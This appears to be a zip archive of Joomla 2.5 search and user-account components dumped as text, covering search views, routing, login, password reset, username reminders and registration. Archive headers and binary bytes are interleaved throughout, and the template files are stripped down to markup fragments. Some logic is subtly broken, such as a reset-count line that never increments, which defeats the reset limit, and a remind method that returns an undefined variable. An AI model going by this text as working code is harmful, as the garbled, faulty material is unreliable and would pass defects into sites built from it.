$created = ''; } $result->text = JHtml::_('content.prepare', $result->text, '', 'com_search.search'); $result->created = $created; $result->count = $i + 1; } } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('pagination', $pagination); $this->assignRef('results', $results); $this->assignRef('lists', $lists); $this->assignRef('params', $params); $this->ordering = $state->get('ordering'); $this->searchword = $searchword; $this->origkeyword = $state->get('origkeyword'); $this->searchphrase = $state->get('match'); $this->searchareas = $areas; $this->total = $total; $this->error = $error; $this->action = $uri; parent::display($tpl); } } PKGy>\n$com_search/views/search/metadata.xmlnuW+A PKGy>\L.com_search/views/search/tmpl/default_error.phpnuW+A error): ?>
            escape($this->error); ?>
            PKGy>\)&com_search/views/search/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V'com_search/views/search/tmpl/index.htmlnuW+A PKGy>\$T -com_search/views/search/tmpl/default_form.phpnuW+AgetUpperLimitSearchWord(); ?>
            searchword)):?>

            total);?>

            lists['searchphrase']; ?>
            lists['ordering'];?>
            params->get('search_areas', 1)) : ?>
            searchareas['search'] as $val => $txt) : $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?> />
            total > 0) : ?>
            pagination->getLimitBox(); ?>

            pagination->getPagesCounter(); ?>

            PKGy>\WUU(com_search/views/search/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading'))) :?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

            loadTemplate('form'); ?> error==null && count($this->results) > 0) : echo $this->loadTemplate('results'); else : echo $this->loadTemplate('error'); endif; ?>
            PKGy>\  (com_search/views/search/tmpl/default.xmlnuW+A
            PKGy>\5jj0com_search/views/search/tmpl/default_results.phpnuW+A
            results as $result) : ?>
            pagination->limitstart + $result->count.'. ';?> href) :?> browsernav == 1) :?> target="_blank"> escape($result->title);?> escape($result->title);?>
            section) : ?>
            (escape($result->section); ?>)
            text; ?>
            params->get('show_date')) : ?>
            created); ?>
            PKGy>\xTr+com_search/views/search/view.opensearch.phpnuW+AsetShortName($params->get('opensearch_name', $app->getCfg('sitename'))); $doc->setDescription($params->get('opensearch_description', $app->getCfg('MetaDesc'))); // Add the URL for the search $searchUri = JURI::base().'index.php?option=com_search&searchword={searchTerms}'; // Find the menu item for the search $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_search&view=search'); if (isset($items[0])) { $searchUri .= '&Itemid='.$items[0]->id; } $htmlSearch = new JOpenSearchUrl(); $htmlSearch->template = JRoute::_($searchUri); $doc->addUrl($htmlSearch); } } PKGy>\)!com_search/views/search/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V"com_search/views/search/index.htmlnuW+A PKGy>\pn5vvcom_search/router.phpnuW+A\com_users/helpers/route.phpnuW+AgetMenu(); $com = JComponentHelper::getComponent('com_users'); $items = $menu->getItems('component_id', $com->id); // If no items found, set to empty array. if (!$items) { $items = array(); } } return $items; } /** * Method to get a route configuration for the login view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 * @static */ public static function getLoginRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'login') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the profile view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getProfileRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. //Menu link can only go to users own profile. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'profile') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the registration view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getRegistrationRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'registration') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the remind view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getRemindRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'remind') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the resend view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getResendRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'resend') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the reset view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getResetRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'reset') { $itemid = $item->id; break; } } return $itemid; } } PKGy>\׿com_users/router.phpnuW+AgetMenu(); $items = $menu->getItems('component', 'com_users'); // Build an array of serialized query strings to menu item id mappings. for ($i = 0, $n = count($items); $i < $n; $i++) { // Check to see if we have found the resend menu item. if (empty($resend) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'resend')) { $resend = $items[$i]->id; } // Check to see if we have found the reset menu item. if (empty($reset) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'reset')) { $reset = $items[$i]->id; } // Check to see if we have found the remind menu item. if (empty($remind) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'remind')) { $remind = $items[$i]->id; } // Check to see if we have found the login menu item. if (empty($login) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'login')) { $login = $items[$i]->id; } // Check to see if we have found the registration menu item. if (empty($registration) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'registration')) { $registration = $items[$i]->id; } // Check to see if we have found the profile menu item. if (empty($profile) && !empty($items[$i]->query['view']) && ($items[$i]->query['view'] == 'profile')) { $profile = $items[$i]->id; } } // Set the default menu item to use for com_users if possible. if ($profile) { $default = $profile; } elseif ($registration) { $default = $registration; } elseif ($login) { $default = $login; } } if (!empty($query['view'])) { switch ($query['view']) { case 'reset': if ($query['Itemid'] = $reset) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'resend': if ($query['Itemid'] = $resend) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'remind': if ($query['Itemid'] = $remind) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'login': if ($query['Itemid'] = $login) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; case 'registration': if ($query['Itemid'] = $registration) { unset ($query['view']); } else { $query['Itemid'] = $default; } break; default: case 'profile': if (!empty($query['view'])) { $segments[] = $query['view']; } unset ($query['view']); if ($query['Itemid'] = $profile) { unset ($query['view']); } else { $query['Itemid'] = $default; } // Only append the user id if not "me". $user = JFactory::getUser(); if (!empty($query['user_id']) && ($query['user_id'] != $user->id)) { $segments[] = $query['user_id']; } unset ($query['user_id']); break; } } return $segments; } /** * Function to parse a Users URL route. * * @param array The URL route with segments represented as an array. * @return array The array of variables to set in the request. * @since 1.5 */ function UsersParseRoute($segments) { // Initialise variables. $vars = array(); // Only run routine if there are segments to parse. if (count($segments) < 1) { return; } // Get the package from the route segments. $userId = array_pop($segments); if (!is_numeric($userId)) { $vars['view'] = 'profile'; return $vars; } if (is_numeric($userId)) { // Get the package id from the packages table by alias. $db = JFactory::getDbo(); $db->setQuery( 'SELECT '.$db->quoteName('id') . ' FROM '.$db->quoteName('#__users') . ' WHERE '.$db->quoteName('id').' = '.(int) $userId ); $userId = $db->loadResult(); } // Set the package id if present. if ($userId) { // Set the package id. $vars['user_id'] = (int)$userId; // Set the view to package if not already set. if (empty($vars['view'])) { $vars['view'] = 'profile'; } } else { JError::raiseError(404, JText::_('JGLOBAL_RESOURCE_NOT_FOUND')); } return $vars; } PKGy>\w' com_users/models/login.phpnuW+AloadForm('com_users.login', 'login', array('load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered login form data. $app = JFactory::getApplication(); $data = $app->getUserState('users.login.form.data', array()); // check for return URL from the request first if ($return = JRequest::getVar('return', '', 'method', 'base64')) { $data['return'] = base64_decode($return); if (!JURI::isInternal($data['return'])) { $data['return'] = ''; } } // Set the return URL if empty. if (!isset($data['return']) || empty($data['return'])) { $data['return'] = 'index.php?option=com_users&view=profile'; } $app->setUserState('users.login.form.data', $data); return $data; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * Method to allow derived classes to preprocess the form. * * @param object A form object. * @param mixed The data expected for the form. * @param string The name of the plugin group to import (defaults to "content"). * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { // Import the approriate plugin group. JPluginHelper::importPlugin($group); // Get the dispatcher. $dispatcher = JDispatcher::getInstance(); // Trigger the form preparation event. $results = $dispatcher->trigger('onContentPrepareForm', array($form, $data)); // Check for errors encountered while preparing the form. if (count($results) && in_array(false, $results, true)) { // Get the last error. $error = $dispatcher->getError(); // Convert to a JException if necessary. if (!($error instanceof Exception)) { throw new Exception($error); } } } } PKGy>\: '|-|-com_users/models/reset.phpnuW+AloadForm('com_users.reset_request', 'reset_request', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the password reset complete form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getResetCompleteForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.reset_complete', 'reset_complete', $options = array('control' => 'jform')); if (empty($form)) { return false; } return $form; } /** * Method to get the password reset confirm form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getResetConfirmForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.reset_confirm', 'reset_confirm', $options = array('control' => 'jform')); if (empty($form)) { return false; } return $form; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * @since 1.6 */ function processResetComplete($data) { // Get the form. $form = $this->getResetCompleteForm(); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { $this->setError($message); } return false; } // Get the token and user id from the confirmation process. $app = JFactory::getApplication(); $token = $app->getUserState('com_users.reset.token', null); $userId = $app->getUserState('com_users.reset.user', null); // Check the token and user id. if (empty($token) || empty($userId)) { return new JException(JText::_('COM_USERS_RESET_COMPLETE_TOKENS_MISSING'), 403); } // Get the user object. $user = JUser::getInstance($userId); // Check for a user and that the tokens match. if (empty($user) || $user->activation !== $token) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Generate the new password hash. $password = JUserHelper::hashPassword($data['password1']); // Update the user object. $user->password = $password; $user->activation = ''; $user->password_clear = $data['password1']; // Save the user to the database. if (!$user->save(true)) { return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500); } // Flush the user data from the session. $app->setUserState('com_users.reset.token', null); $app->setUserState('com_users.reset.user', null); return true; } /** * @since 1.6 */ function processResetConfirm($data) { // Get the form. $form = $this->getResetConfirmForm(); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { $this->setError($message); } return false; } // Find the user id for the given token. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('activation'); $query->select('id'); $query->select('block'); $query->from($db->quoteName('#__users')); $query->where($db->quoteName('username').' = '.$db->Quote($data['username'])); // Get the user id. $db->setQuery((string) $query); $user = $db->loadObject(); // Check for an error. if ($db->getErrorNum()) { return new JException(JText::sprintf('COM_USERS_DATABASE_ERROR', $db->getErrorMsg()), 500); } // Check for a user. if (empty($user)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } $parts = explode( ':', $user->activation ); $crypt = $parts[0]; if (!isset($parts[1])) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } $salt = $parts[1]; $testcrypt = JUserHelper::getCryptedPassword($data['token'], $salt); // Verify the token if (!($crypt == $testcrypt)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Push the user data into the session. $app = JFactory::getApplication(); $app->setUserState('com_users.reset.token', $crypt.':'.$salt); $app->setUserState('com_users.reset.user', $user->id); return true; } /** * Method to start the password reset process. * * @since 1.6 */ public function processResetRequest($data) { $config = JFactory::getConfig(); // Get the form. $form = $this->getForm(); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { $this->setError($message); } return false; } // Find the user id for the given email address. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('id'); $query->from($db->quoteName('#__users')); $query->where($db->quoteName('email').' = '.$db->Quote($data['email'])); // Get the user object. $db->setQuery((string) $query); $userId = $db->loadResult(); // Check for an error. if ($db->getErrorNum()) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $db->getErrorMsg()), 500); return false; } // Check for a user. if (empty($userId)) { $this->setError(JText::_('COM_USERS_INVALID_EMAIL')); return false; } // Get the user object. $user = JUser::getInstance($userId); // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Make sure the user isn't a Super Admin. if ($user->authorise('core.admin')) { $this->setError(JText::_('COM_USERS_REMIND_SUPERADMIN_ERROR')); return false; } // Make sure the user has not exceeded the reset limit if (!$this->checkResetLimit($user)) { $resetLimit = (int) JFactory::getApplication()->getParams()->get('reset_time'); $this->setError(JText::plural('COM_USERS_REMIND_LIMIT_ERROR_N_HOURS', $resetLimit)); return false; } // Set the confirmation token. $token = JApplication::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token.$salt).':'.$salt; $user->activation = $hashedToken; // Save the user to the database. if (!$user->save(true)) { return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500); } // Assemble the password reset confirmation link. $mode = $config->get('force_ssl', 0) == 2 ? 1 : -1; $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $link = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Put together the email template data. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['link_text'] = JRoute::_($link, false, $mode); $data['link_html'] = JRoute::_($link, true, $mode); $data['token'] = $token; $subject = JText::sprintf( 'COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT', $data['sitename'] ); $body = JText::sprintf( 'COM_USERS_EMAIL_PASSWORD_RESET_BODY', $data['sitename'], $data['token'], $data['link_text'] ); // Send the password reset request email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body); // Check for an error. if ($return !== true) { return new JException(JText::_('COM_USERS_MAIL_FAILED'), 500); } return true; } /** * Method to check if user reset limit has been exceeded within the allowed time period. * * @param JUser the user doing the password reset * * @return boolean true if user can do the reset, false if limit exceeded * * @since 2.5 */ public function checkResetLimit($user) { $params = JFactory::getApplication()->getParams(); $maxCount = (int) $params->get('reset_count'); $resetHours = (int) $params->get('reset_time'); $result = true; $lastResetTime = strtotime($user->lastResetTime) ? strtotime($user->lastResetTime) : 0; $hoursSinceLastReset = (strtotime(JFactory::getDate()->toSql()) - $lastResetTime) / 3600; // If it's been long enough, start a new reset count if ($hoursSinceLastReset > $resetHours) { $user->lastResetTime = JFactory::getDate()->toSql(); $user->resetCount = 1; } // If we are under the max count, just increment the counter elseif ($user->resetCount < $maxCount) { $user->resetCount; } // At this point, we know we have exceeded the maximum resets for the time period else { $result = false; } return $result; } } PKGy>\S{com_users/models/remind.phpnuW+AloadForm('com_users.remind', 'remind', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { parent::preprocessForm($form, $data, 'user'); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $app = JFactory::getApplication(); $params = $app->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * @since 1.6 */ public function processRemindRequest($data) { // Get the form. $form = $this->getForm(); // Check for an error. if (empty($form)) { return false; } // Validate the data. $data = $this->validate($form, $data); // Check for an error. if ($data instanceof Exception) { return $return; } // Check the validation results. if ($data === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $message) { $this->setError($message); } return false; } // Find the user id for the given email address. $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('*'); $query->from($db->quoteName('#__users')); $query->where($db->quoteName('email').' = '.$db->Quote($data['email'])); // Get the user id. $db->setQuery((string) $query); $user = $db->loadObject(); // Check for an error. if ($db->getErrorNum()) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $db->getErrorMsg()), 500); return false; } // Check for a user. if (empty($user)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } $config = JFactory::getConfig(); // Assemble the login link. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $link = 'index.php?option=com_users&view=login'.$itemid; $mode = $config->get('force_ssl', 0) == 2 ? 1 : -1; // Put together the email template data. $data = JArrayHelper::fromObject($user); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['link_text'] = JRoute::_($link, false, $mode); $data['link_html'] = JRoute::_($link, true, $mode); $subject = JText::sprintf( 'COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT', $data['sitename'] ); $body = JText::sprintf( 'COM_USERS_EMAIL_USERNAME_REMINDER_BODY', $data['sitename'], $data['username'], $data['link_text'] ); // Send the password reset request email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_MAIL_FAILED'), 500); return false; } return true; } } PKGy>\'  )com_users/models/forms/reset_complete.xmlnuW+A
            PKGy>\5g!com_users/models/forms/remind.xmlnuW+A
            PKGy>\w"com_users/models/forms/profile.xmlnuW+A
            PKGy>\v>#com_users/models/forms/sitelang.xmlnuW+A
            PKGy>\ k?)com_users/models/forms/frontend_admin.xmlnuW+A
            PKGy>\ (com_users/models/forms/reset_request.xmlnuW+A
            PKGy>\!z com_users/models/forms/login.xmlnuW+A
            PKGy>\s(com_users/models/forms/reset_confirm.xmlnuW+A
            PKGy>\9[7'com_users/models/forms/registration.xmlnuW+A
            PKGy>\ᤍ"#com_users/models/forms/frontend.xmlnuW+A
            PKGy>\#? 9 9!com_users/models/registration.phpnuW+AgetDbo(); // Get the user id based on the token. $db->setQuery( 'SELECT '.$db->quoteName('id').' FROM '.$db->quoteName('#__users') . ' WHERE '.$db->quoteName('activation').' = '.$db->Quote($token) . ' AND '.$db->quoteName('block').' = 1' . ' AND '.$db->quoteName('lastvisitDate').' = '.$db->Quote($db->getNullDate()) ); $userId = (int) $db->loadResult(); // Check for a valid user id. if (!$userId) { $this->setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND')); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Activate the user. $user = JFactory::getUser($userId); // Admin activation is on and user is verifying their email if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0)) { $uri = JURI::getInstance(); // Compile the admin notification mail values. $data = $user->getProperties(); $data['activation'] = JApplication::getHash(JUserHelper::genRandomPassword()); $user->set('activation', $data['activation']); $data['siteurl'] = JUri::base(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_('index.php?option=com_users&task=registration.activate&token='.$data['activation'], false); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $user->setParam('activate', 1); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY', $data['sitename'], $data['name'], $data['email'], $data['username'], $data['activate'] ); // get all admin users $query = 'SELECT name, email, sendEmail, id' . ' FROM #__users' . ' WHERE sendEmail=1'; $db->setQuery( $query ); $rows = $db->loadObjectList(); // Send mail to all users with users creating permissions and receiving system emails foreach( $rows as $row ) { $usercreator = JFactory::getUser($id = $row->id); if ($usercreator->authorise('core.create', 'com_users')) { $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } } //Admin activation is on and admin is activating the account elseif (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0)) { $user->set('activation', ''); $user->set('block', '0'); $uri = JURI::getInstance(); // Compile the user activated notification mail values. $data = $user->getProperties(); $user->setParam('activate', 0); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY', $data['name'], $data['siteurl'], $data['username'] ); $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } else { $user->set('activation', ''); $user->set('block', '0'); } // Store the user object. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError())); return false; } return $user; } /** * Method to get the registration form data. * * The base form data is loaded and then an event is fired * for users plugins to extend the data. * * @return mixed Data object on success, false on failure. * @since 1.6 */ public function getData() { if ($this->data === null) { $this->data = new stdClass(); $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_users'); // Override the base user data with any data in the session. $temp = (array)$app->getUserState('com_users.registration.data', array()); foreach ($temp as $k => $v) { $this->data->$k = $v; } // Get the groups the user should be added to after registration. $this->data->groups = array(); // Get the default new user group, Registered if not specified. $system = $params->get('new_usertype', 2); $this->data->groups[] = $system; // Unset the passwords. unset($this->data->password1); unset($this->data->password2); // Get the dispatcher and load the users plugins. $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('user'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array('com_users.registration', $this->data)); // Check for errors encountered while preparing the data. if (count($results) && in_array(false, $results, true)) { $this->setError($dispatcher->getError()); $this->data = false; } } return $this->data; } /** * Method to get the registration form. * * The base form is loaded from XML and then an event is fired * for users plugins to extend the form with extra fields. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.registration', 'registration', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { return $this->getData(); } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { $userParams = JComponentHelper::getParams('com_users'); //Add the choice for site language at registration time if ($userParams->get('site_language') == 1 && $userParams->get('frontend_userparams') == 1) { $form->loadFile('sitelang', false); } parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $app = JFactory::getApplication(); $params = $app->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * Method to save the form data. * * @param array The form data. * @return mixed The user id on success, false on failure. * @since 1.6 */ public function register($temp) { $config = JFactory::getConfig(); $db = $this->getDbo(); $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array)$this->getData(); // Merge in the registration data. foreach ($temp as $k => $v) { $data[$k] = $v; } // Prepare the data for the user object. $data['email'] = $data['email1']; $data['password'] = $data['password1']; $useractivation = $params->get('useractivation'); $sendpassword = $params->get('sendpassword', 1); // Check if the user needs to activate their account. if (($useractivation == 1) || ($useractivation == 2)) { $data['activation'] = JApplication::getHash(JUserHelper::genRandomPassword()); $data['block'] = 1; } // Bind the data. if (!$user->bind($data)) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError())); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Store the data. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError())); return false; } // Compile the notification mail values. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::root(); // Handle account activation/confirmation emails. if ($useractivation == 2) { // Set the link to confirm the user email. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_('index.php?option=com_users&task=registration.activate&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); if ($sendpassword) { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'] ); } } elseif ($useractivation == 1) { // Set the link to activate the user account. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_('index.php?option=com_users&task=registration.activate&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); if ($sendpassword) { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW', $data['name'], $data['sitename'], $data['activate'], $data['siteurl'], $data['username'] ); } } else { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_BODY', $data['name'], $data['sitename'], $data['siteurl'] ); } // Send the registration email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); //Send Notification mail to administrators if (($params->get('useractivation') < 2) && ($params->get('mail_to_admin') == 1)) { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBodyAdmin = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY', $data['name'], $data['username'], $data['siteurl'] ); // get all admin users $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; $db->setQuery( $query ); $rows = $db->loadObjectList(); // Send mail to all superadministrators id foreach( $rows as $row ) { $return = JFactory::getMailer()->sendMail($data['mailfrom'], 